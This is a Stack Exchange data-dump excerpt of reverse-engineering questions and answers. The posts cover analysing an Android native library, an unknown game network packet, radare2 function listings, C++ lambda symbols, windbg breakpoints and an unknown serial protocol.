  <row Id="18591" PostTypeId="1" AcceptedAnswerId="18889" CreationDate="2018-06-23T21:13:55.347" Score="2" ViewCount="1965" Body="&lt;p&gt;So I'm currently trying to understand how an Android app interprets the data sent from a Bluetooth-enabled scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding the Java code was relatively easy. The code was obfuscated but I found out how the Bluetooth protocol works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the app use the Android NDK to call a native (armeabi) library that calculates data like body fat percentage from the data sent from the scale (weight, impedance...): libBodyfat.so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know what all the parameters are and what the C-functions return, but I don't know how they do it (what calculations are done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently it's not possible to create readable code from a C library the way it's possible with Java. I found some tools that were recommended to work with C binaries (e.g. IDA) but they don't work with ARM binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to understand how the library works?&lt;/p&gt;&#xA;" OwnerUserId="24796" LastActivityDate="2018-08-19T18:03:04.477" Title="How can I make sense of an Android NDK library?" Tags="|android|arm|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18593" PostTypeId="1" AcceptedAnswerId="22722" CreationDate="2018-06-24T05:29:22.900" Score="1" ViewCount="366" Body="&lt;p&gt;As asking a friend and no amount of Googling yielded an answer, I figured I'd make an account and give this place a go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on reverse engineering the server for a relatively old game with no network packets from when it was alive. The game only made partial use of SSL (don't know what for specifically), and nothing I send it seems to trigger any response. The game sends a packet via a TCP PSH after the connection is established, and Apache replies with a 400 Bad Request. If Apache doesn't send any error, the game will wait indefinitely for a response. Due to lack of environment variables in the data and a defining request (HTTP GET, SSL handshake, etc.) from the game, it's unclear as to what it's expecting. CGI scrips, digest authentication, nor anything I can think of matches the contents. Here's the packet dump. &quot;Hub&quot; is a special keyword that's referenced throughout the game binary relating to code files and directories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packet header: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000   90 2b 34 35 e7 c5 fc 0f e6 52 e2 e3 08 00 45 00   .+45.... .R....E.&#xA;00000010   03 1f a6 e2 40 00 40 06 0d 92 c0 a8 01 12 c0 a8   ....@.@. ........&#xA;00000020   01 02 c5 9b 27 57 de f8 91 89 55 e4 99 2b 80 18   ....'W.. ..U..+..&#xA;00000030   ff ff 62 23 00 00 01 01 08 0a 00 00 00 00 39 77   ..b#.... ......9w&#xA;00000040   24 62                                             $b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Packet contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  24 e8 02 01 00 71 00 03  00 00 06 00 04 01 00 d6   $....q.. ........&#xA;00000010  02 30 82 02 d2 30 82 01  ba a0 03 02 01 02 02 14   .0...0.. ........&#xA;00000020  01 00 00 00 00 00 00 00  00 00 00 00 42 00 00 00   ........ ....B...&#xA;00000030  00 00 00 e4 30 0d 06 09  2a 86 48 86 f7 0d 01 01   ....0... *.H.....&#xA;00000040  05 05 00 30 81 96 31 0b  30 09 06 03 55 04 06 13   ...0..1. 0...U...&#xA;00000050  02 55 53 31 0b 30 09 06  03 55 04 08 13 02 43 41   .US1.0.. .U....CA&#xA;00000060  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D&#xA;00000070  69 65 67 6f 31 31 30 2f  06 03 55 04 0a 13 28 53   iego110/ ..U...(S&#xA;00000080  4f 4e 59 20 43 6f 6d 70  75 74 65 72 20 45 6e 74   ONY Comp uter Ent&#xA;00000090  65 72 74 61 69 6e 6d 65  6e 74 20 41 6d 65 72 69   ertainme nt Ameri&#xA;000000A0  63 61 20 49 6e 63 2e 31  14 30 12 06 03 55 04 0b   ca Inc.1 .0...U..&#xA;000000B0  13 0b 53 43 45 52 54 20  47 72 6f 75 70 31 1d 30   ..SCERT  Group1.0&#xA;000000C0  1b 06 03 55 04 03 13 14  53 43 45 52 54 20 52 6f   ...U.... SCERT Ro&#xA;000000D0  6f 74 20 41 75 74 68 6f  72 69 74 79 30 1e 17 0d   ot Autho rity0...&#xA;000000E0  30 36 30 32 30 38 30 30  34 39 30 36 5a 17 0d 33   06020800 4906Z..3&#xA;000000F0  36 30 32 30 37 32 33 35  39 35 39 5a 30 77 31 0b   60207235 959Z0w1.&#xA;00000100  30 09 06 03 55 04 06 13  02 55 53 31 13 30 11 06   0...U... .US1.0..&#xA;00000110  03 55 04 08 13 0a 43 61  6c 69 66 6f 72 6e 69 61   .U....Ca lifornia&#xA;00000120  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D&#xA;00000130  69 65 67 6f 31 17 30 15  06 03 55 04 0a 13 0e 4c   iego1.0. ..U....L&#xA;00000140  6f 6e 64 6f 6e 20 53 74  75 64 69 6f 73 31 0d 30   ondon St udios1.0&#xA;00000150  0b 06 03 55 04 0b 13 04  53 43 45 45 31 17 30 15   ...U.... SCEE1.0.&#xA;00000160  06 03 55 04 03 13 0e 48  75 62 20 53 43 45 45 20   ..U....H ub SCEE &#xA;00000170  32 30 33 37 34 30 5c 30  0d 06 09 2a 86 48 86 f7   203740\0 ...*.H..&#xA;00000180  0d 01 01 01 05 00 03 4b  00 30 48 02 41 00 bb a7   .......K .0H.A...&#xA;00000190  3a c9 8c 1c b1 93 ff 51  b0 02 b3 88 6a d5 35 49   :......Q ....j.5I&#xA;000001A0  5c 58 42 f3 7f ab 32 ea  89 5b b8 c2 55 83 f4 72   \XB...2. .[..U..r&#xA;000001B0  f6 bd 1b 29 6b 7b ca 89  0a bb 42 b8 dc b0 a6 01   ...)k{.. ..B.....&#xA;000001C0  47 88 e5 47 fd 8d 31 cc  f0 8b b8 16 f5 65 02 03   G..G..1. .....e..&#xA;000001D0  00 00 11 30 0d 06 09 2a  86 48 86 f7 0d 01 01 05   ...0...* .H......&#xA;000001E0  05 00 03 82 01 01 00 08  b0 85 11 13 37 d0 97 c0   ........ ....7...&#xA;000001F0  53 bb b0 ac 48 af dd 4c  ad 24 9d bd 9c b0 8a 26   S...H..L .$.....&amp;amp;&#xA;00000200  45 1c 0a fd 39 0d 01 34  3b 42 34 9f 08 f6 ac 5e   E...9..4 ;B4....^&#xA;00000210  11 77 01 3a 9b e0 d5 50  28 66 4f f8 1c a1 13 08   .w.:...P (fO.....&#xA;00000220  8c fd 69 5e b8 aa b1 13  46 54 08 e3 4e 47 74 c9   ..i^.... FT..NGt.&#xA;00000230  ea 33 6c bb 12 d0 58 da  4b d6 c6 09 09 16 e6 f0   .3l...X. K.......&#xA;00000240  57 40 fb dd 69 17 83 73  a5 e6 fa 11 e6 63 9a ae   W@..i..s .....c..&#xA;00000250  47 08 7b a4 23 b2 12 e5  eb 5a f6 da f5 e6 4a e8   G.{.#... .Z....J.&#xA;00000260  10 35 57 b2 ed b7 36 97  95 63 bc 78 22 87 38 1d   .5W...6. .c.x&quot;.8.&#xA;00000270  b2 70 90 31 b7 6f 11 1e  b6 72 89 91 0f 5d fe 65   .p.1.o.. .r...].e&#xA;00000280  38 ed 6c 66 f4 31 b4 5a  8a f2 71 77 7f 56 45 a4   8.lf.1.Z ..qw.VE.&#xA;00000290  70 f3 1f c5 1f 8b 78 6a  40 45 c6 39 cc 22 6e 5e   p.....xj @E.9.&quot;n^&#xA;000002A0  56 c7 63 5e 44 bb 65 e5  6d 5c 94 93 25 af 5a 47   V.c^D.e. m\..%.ZG&#xA;000002B0  24 6f 3f 0d d9 b0 a0 be  6a 1b 10 21 b7 61 d3 c3   $o?..... j..!.a..&#xA;000002C0  44 8c 8c 5a c9 61 b2 26  fc 02 ee 5e 73 12 8e ef   D..Z.a.&amp;amp; ...^s...&#xA;000002D0  0d 10 e9 f9 f5 37 8c 0e  6a 52 c3 4e b2 1c b1 e0   .....7.. jR.N....&#xA;000002E0  7f 21 20 ea 7b 10 97 00  00 00 00                  .! .{... ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Scanning it as a file will detect it as a .der certificate, and while its structure in general looks like a certificate, as far as I can tell via comparison, it is not. Perhaps someone with more knowledge knows what this is (and what &quot;rt&quot; is, below), or knows if this is some custom data. The following strings are also referenced in the game's binary that likely has some relation, with the first coming directly after the above ASCII &lt;code&gt;ZG$o?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-#0,;:_&#xA;_lc_mtx&#xA;&amp;lt;0123456789ABCDEF&#xA;0123456789abcdef&#xA;&#xA;rt_ssl 3.02.200810102000&#xA;666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLNT &#xA;SRVR &#xA;0123456789abcdefghijklmnopqrstuvwxyz &#xA;0123456789abcdefABCDEF&#xA;&#xA;ReleaseVersion 3.02.200810102000 &#xA;rt_cert version: 3.02.200810102000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24798" LastEditorUserId="24798" LastEditDate="2018-06-25T19:37:07.090" LastActivityDate="2019-12-11T20:18:28.667" Title="Unknown Game Client Data" Tags="|binary-analysis|elf|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="18594" PostTypeId="2" ParentId="13161" CreationDate="2018-06-25T10:27:21.377" Score="4" Body="&lt;p&gt;The default is CPU main thread which has four panels, three of which may become hidden if you have closed it or clicked on additional windows. To get back the initial layout, close all windows, reopen with CPU Main thread and resize the edges to reveal the heap, the register panels etc. &lt;/p&gt;&#xA;" OwnerUserId="24807" LastActivityDate="2018-06-25T10:27:21.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18595" PostTypeId="2" ParentId="18581" CreationDate="2018-06-25T17:31:46.320" Score="2" Body="&lt;p&gt;Google is your friend. A search for &quot;crc calculation online&quot; delivered the solution on the top hit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CRC Calculator (Javascript)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EefBl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EefBl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-06-25T17:31:46.320" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18596" PostTypeId="2" ParentId="18588" CreationDate="2018-06-25T20:23:25.043" Score="1" Body="&lt;p&gt;Although windbg does not support &lt;em&gt;memory breakpoints&lt;/em&gt;, memory breakpoints are another common approach to place breakpoints based on memory access instead of code execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although most debuggers implement that internally, memory breakpoints work by setting the &lt;code&gt;PAGE_GUARD&lt;/code&gt; bit for all pages in the memory breakpoint address range, and then filtering any exceptions caught for the specific ranges within the pages, and then resetting the page guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do something similar by placing a page guard yourself using windbg, however that's a lot of effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that memory breakpoints are detectable with little effort and may dramatically slow execution (even further down than debugging), when debugging a piece of software with anti-debugging protection make sure you pay attention.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-25T20:32:02.363" LastActivityDate="2018-06-25T20:32:02.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18597" PostTypeId="1" AcceptedAnswerId="18598" CreationDate="2018-06-26T01:19:10.027" Score="4" ViewCount="121" Body="&lt;p&gt;In trying to understand a .so from an Android game made with Cocos2d-x, I've come across identifiers like the following (after demangling):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SceneActionMap::updateTalkMode(float)::$_37&lt;/code&gt;&#xA;&lt;code&gt;SceneActionMap::onTouchEndedTalk(cocos2d::Touch*, cocos2d::Event*)::$_38&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still a little shaky on ELF &amp;amp; the C++ ABI, but these names are found in &lt;code&gt;.rodata&lt;/code&gt; and are referred to by some kind of structure in &lt;code&gt;.data.rel.ro&lt;/code&gt; that seems RTTI related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of entities are $_37 and $_38? Are these anonymous functions generated by the NDK, or are they some kind of metadata about other functions?&lt;/p&gt;&#xA;" OwnerUserId="24813" LastActivityDate="2018-06-26T06:59:25.950" Title="What does a C++ identifier ending in $_## mean?" Tags="|c++|android|elf|shared-object|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18598" PostTypeId="2" ParentId="18597" CreationDate="2018-06-26T06:59:25.950" Score="3" Body="&lt;p&gt;its a lambda function,&#xA;as example stack trace in google &lt;a href=&quot;https://github.com/Microsoft/vscode-cpptools/issues/2117&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Microsoft/vscode-cpptools/issues/2117&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user18664" LastActivityDate="2018-06-26T06:59:25.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18599" PostTypeId="1" AcceptedAnswerId="18600" CreationDate="2018-06-26T07:45:47.083" Score="7" ViewCount="2725" Body="&lt;p&gt;I can't figure out what &lt;code&gt;afl&lt;/code&gt; actually outputs. The docs are surprisingly uninformative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I've got address on the first column and symbol on the last. &lt;strong&gt;What is on the 2nd, 3rd and 4th columns?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; afl&#xA;0x08048000   29 988  -&amp;gt; 937  segment.LOAD0&#xA;0x080483dc    3 35           func_5&#xA;0x08048410    1 6            sym.imp.fgets&#xA;0x08048420    1 6            sym.imp.fclose&#xA;0x08048430    1 6            sym.imp.fwrite&#xA;0x08048440    1 6            sym.imp.puts&#xA;0x08048450    1 6            loc.imp.__gmon_start&#xA;0x08048460    1 6            sym.imp.exit&#xA;0x08048470    1 6            sym.imp.__libc_start_main&#xA;0x08048480    1 6            sym.imp.fopen&#xA;0x08048490    1 6            sym.imp.fileno&#xA;0x080484a0    1 6            sym.imp.ptrace&#xA;0x080484b0    1 33           entry0&#xA;0x080484e0    1 4            func_3&#xA;0x080484f0    4 42           func_4&#xA;0x08048642    4 51           func_1&#xA;0x08048675   10 83           func_2&#xA;0x080486c8    4 194          main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24817" LastEditorUserId="245" LastEditDate="2018-06-26T08:13:21.193" LastActivityDate="2018-06-26T15:20:02.580" Title="What is the info displayed by radare2's afl?" Tags="|tools|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18600" PostTypeId="2" ParentId="18599" CreationDate="2018-06-26T08:28:29.973" Score="9" Body="&lt;p&gt;First, I'll answer your question straightly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2nd column: The number of &lt;a href=&quot;https://en.wikipedia.org/wiki/Basic_block&quot; rel=&quot;noreferrer&quot;&gt;basic blocks&lt;/a&gt; in the function&lt;/li&gt;&#xA;&lt;li&gt;3rd column: The size of the function (in bytes)&lt;/li&gt;&#xA;&lt;li&gt;4th column: The function's name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might have used &quot;4th&quot; to spot the number that comes after the &quot;-&gt;&quot;. If this is the case, where there is a &quot;-&gt;&quot; the left number is the &lt;em&gt;range&lt;/em&gt; of the function where on the right you can find the &lt;em&gt;size&lt;/em&gt; of the function. It happens only when the range and the size are different.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But now for a more generic approach. As you noticed, some commands of radare2 would not show you the column headers of the table, just as your example with the &lt;code&gt;afl&lt;/code&gt; command. So what can you do to show this information? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use the JSON output&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Simply, use the JSON representation of the output. Most of radare2's informative commands can be appended with a j to format the output as JSON. Add ~{} to format the output with JSON indention for readability:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400430]&amp;gt; aflj~{}                   &#xA;[                                       &#xA;  {                                     &#xA;    &quot;offset&quot;: 4195272,                  &#xA;    &quot;name&quot;: &quot;sym._init&quot;,                &#xA;    &quot;size&quot;: 26,                         &#xA;    &quot;realsz&quot;: 26,                       &#xA;    &quot;cc&quot;: 2,                            &#xA;    &quot;cost&quot;: 12,                         &#xA;    &quot;nbbs&quot;: 3,                          &#xA;    &quot;edges&quot;: 3,                         &#xA;    &quot;ebbs&quot;: 1,                          &#xA;    &quot;calltype&quot;: &quot;amd64&quot;,                &#xA;    &quot;type&quot;: &quot;sym&quot;,                      &#xA;    &quot;minbound&quot;: &quot;4195272&quot;,              &#xA;    &quot;maxbound&quot;: &quot;4195298&quot;,              &#xA;    &quot;range&quot;: &quot;26&quot;,                      &#xA;    &quot;diff&quot;: &quot;NEW&quot;,    &#xA;    ...&#xA;    ...               &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. You can easily understand what each column is, using the header name which is corresponding to the output without &lt;code&gt;j&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use a more verbose command&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An alternative for &lt;code&gt;afl&lt;/code&gt; is &lt;code&gt;afll&lt;/code&gt;. It will list the functions of the binary in a verbose mode and in an easy to understand table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400430]&amp;gt; afll&#xA;address            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name&#xA;================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====&#xA;0x004003c8   26     3     3     2   12 0x004003c8    26 0x004003e2     1    0      0    1     8 sym._init&#xA;0x00400400    6     1     0     1    3 0x00400400     6 0x00400406     0    0      0    1     0 sym.imp.puts&#xA;0x00400410    6     1     0     1    3 0x00400410     6 0x00400416     0    0      0    1     0 sym.imp.__libc_start_main&#xA;0x00400420    6     1     0     1    3 0x00400420     6 0x00400426     0    0      0    1     0 sub.__gmon_start_420&#xA;0x00400430   41     1     0     1   15 0x00400430    41 0x00400459     1    0      0    0     8 entry0&#xA;0x00400460   41     4     4     2   20 0x00400460    50 0x00400492     0    0      0    1     8 sym.deregister_tm_clones&#xA;0x004004a0   53     3     2    -1   20 0x004004a0    53 0x004004d5     0    0      0    2     8 sym.register_tm_clones&#xA;0x004004e0   28     3     3     2   14 0x004004e0    28 0x004004fc     1    0      0    0     0 sym.__do_global_dtors_aux&#xA;0x00400500   35     4     6     4   19 0x00400500    38 0x00400526     0    0      0    0     8 entry1.init&#xA;0x00400526   21     1     0     1   12 0x00400526    21 0x0040053b     1    0      0    1     8 sym.main&#xA;0x00400540  101     4     5     3   49 0x00400540   101 0x004005a5     1    0      0    1    56 sym.__libc_csu_init&#xA;0x004005b0    2     1     0     1    3 0x004005b0     2 0x004005b2     0    0      0    1     0 sym.__libc_csu_fini&#xA;0x004005b4    9     1     0     1    5 0x004005b4     9 0x004005bd     0    0      0    0     8 sym._fini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;afll&lt;/code&gt; listed the functions but this time it showed you the columns' header name.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-06-26T15:20:02.580" LastActivityDate="2018-06-26T15:20:02.580" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18601" PostTypeId="2" ParentId="18570" CreationDate="2018-06-26T08:33:34.130" Score="1" Body="&lt;p&gt;You need to define the virtual method table structure, then for the method at offset 48 (0x30) you need to specify the correct function definition, and then set v10 type to your structure.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-06-26T08:33:34.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18602" PostTypeId="2" ParentId="18591" CreationDate="2018-06-26T09:29:55.760" Score="2" Body="&lt;p&gt;Reverse engineering of  .so file is not an easy task. C is not like java, where you can turn .class files into more readable forms like .smali. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; to inspect .so file, however to get anything from the r2 output you need some basic knowledge on processor architecture and proper opcodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can begin your education here :  &lt;a href=&quot;https://azeria-labs.com/writing-arm-assembly-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://azeria-labs.com/writing-arm-assembly-part-1/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can find some basic instructions below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume that you have radare2 installed and you have already unziped your apk file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the apk directory and list the &lt;strong&gt;lib&lt;/strong&gt; directory &lt;a href=&quot;https://developer.android.com/ndk/guides/abis&quot; rel=&quot;nofollow noreferrer&quot;&gt;abi docs&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$  tree lib&#xA;lib/&#xA;├── arm64-v8a&#xA;│   └── libnative-lib.so&#xA;├── armeabi-v7a&#xA;│   └── libnative-lib.so&#xA;├── x86&#xA;│   └── libnative-lib.so&#xA;└── x86_64&#xA;    └── libnative-lib.so&#xA;&#xA;4 directories, 4 files&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Select your platform (for your case it will be armeabi-v7a or arm64-v8a)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open it with ( &lt;strong&gt;-A&lt;/strong&gt; option runs &lt;strong&gt;aaa&lt;/strong&gt; command )  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; r2 -A lib/armeabi-v7a/libnative-lib.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;List the functions or search the specific function name &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    [0x00006498]&gt; afl&#xA;    [0x00006498]&gt; afl ~JNI&#xA;    0x000064e4    9 256  -&gt; 238  sym.Java_foo_com_bar_MainActivity_stringFromJNI&#xA;    0x000065f0    1 44           sym._JNIEnv::NewStringUTF_charconst&#xA;    0x00006724    1 28           sym.JNI_OnLoad&#xA;    //Jump to the function:&#xA;    $ [0x00006498]&gt; s 0x00006724&#xA;    //print the instructions&#xA;    $ [0x00006724]&gt; pdf &#xA;/ (fcn) sym.JNI_OnLoad 28&#xA;|   sym.JNI_OnLoad ();&#xA;|           ; var int local_0h @ sp+0x0&#xA;|           ; var int local_4h @ sp+0x4&#xA;|           ; var int local_8h @ sp+0x8&#xA;|           ; var int local_ch @ sp+0xc&#xA;|           ; var int local_10h @ sp+0x10&#xA;|           ; UNKNOWN XREF from 0x00000234 (aav.0x00000224 + 16)&#xA;|           0x00006724      85b0           sub sp, 0x14&#xA;|           0x00006726      0a46           mov r2, r1&#xA;|           0x00006728      0346           mov r3, r0&#xA;|           0x0000672a      0490           str r0, [sp + local_10h]&#xA;|           0x0000672c      0391           str r1, [sp + local_ch]&#xA;|           0x0000672e      0620           movs r0, 6                  ; aav.0x00000006&#xA;|           0x00006730      .dword 0x0001f2c0 ; aav.0x0001f2c0&#xA;|           0x00006734      0290           str r0, [sp + local_8h]&#xA;|           0x00006736      0298           ldr r0, [sp + local_8h]&#xA;|           0x00006738      0192           str r2, [sp + local_4h]&#xA;|           0x0000673a      0093           str r3, [sp]&#xA;|           0x0000673c      05b0           add sp, 0x14&#xA;\           0x0000673e      7047           bx lr&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have to interpret the radare2 output, to do this you need the op codes list with description, it can be found &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489e/Cjafgdih.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or (for arm64) &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.dui0802a/a64_general_alpha.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see there is no easy way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;TIP&lt;/em&gt;&#xA;You can tell radare2 to write opcodes description next to them. Just type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e asm.describe=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the output will change to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;|           0x0000672e      0620           movs r0, 6                  ; aav.0x00000006 ; move immediate into register and update flags&#xA;|           0x00006730      .dword 0x0001f2c0 ; aav.0x0001f2c0         ; write 16 bit value on top of halfword&#xA;|           0x00006734      0290           str r0, [sp + local_8h]     ; store register into memory&#xA;|           0x00006736      0298           ldr r0, [sp + local_8h]     ; load from memory to register&#xA;|           0x00006738      0192           str r2, [sp + local_4h]     ; store register into memory&#xA;|           0x0000673a      0093           str r3, [sp]                ; store register into memory&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Final note: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm libraries sometimes use Thumb mode, and this is the topic for another time. You can find some info about thumb mode on  &lt;a href=&quot;https://azeria-labs.com/arm-instruction-set-part-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;azeria-labs webiste&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24703" LastEditorUserId="24703" LastEditDate="2018-06-27T06:22:11.240" LastActivityDate="2018-06-27T06:22:11.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18603" PostTypeId="1" CreationDate="2018-06-26T13:18:11.243" Score="1" ViewCount="63" Body="&lt;p&gt;I am trying to reverse engineer a serial communication between to microcontrollers (1 device &amp;amp; 1 microcontroller on a board). One MCU validates the other MCU and I want to crack the validation and mimic the validated MCU. I want to find out what protocol is being used to make sense of the data. I have captured the communication with a logic analyzer and here is a screenshot from PulseView:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1uw45.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1uw45.png&quot; alt=&quot;Logic Analyzer Signal&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PulseView has decoding function but I don't know where to begin. The communication happens via 1 wire only. But I am not sure if the protocol is &quot;one-wire&quot;. Are there any known standard methods to identify an unknown communication protocol? Or do I have to identify it by simply looking at it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a script to convert the data into times required to change from one state to another (high-to-low or low-to-high) to compare repeated measurements and absence of the validated MCU. Each time the patterns look slightly different. It would have been great to know to decode this into byte array or whatever is intended for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: smallest time required for a change is 30μs as seen at the 3rd row on the image (120μs = 4 states).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24819" LastActivityDate="2018-06-26T13:18:11.243" Title="How to make sense of this one pin serial communication" Tags="|binary-analysis|serial-communication|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18605" PostTypeId="1" CreationDate="2018-06-26T16:03:55.723" Score="2" ViewCount="1735" Body="&lt;p&gt;I have around 300 bytes of binary machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know which instruction set the code is for so I can't open it with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool that can help identify the instruction set?&lt;/p&gt;&#xA;" OwnerUserId="24821" LastEditorUserId="266" LastEditDate="2018-06-26T22:11:29.787" LastActivityDate="2018-06-26T22:34:41.540" Title="How identify witch cpu run assembly" Tags="|ida|disassembly|machine-code|" AnswerCount="2" CommentCount="1" ClosedDate="2018-06-27T13:08:47.283" ContentLicense="CC BY-SA 4.0" />
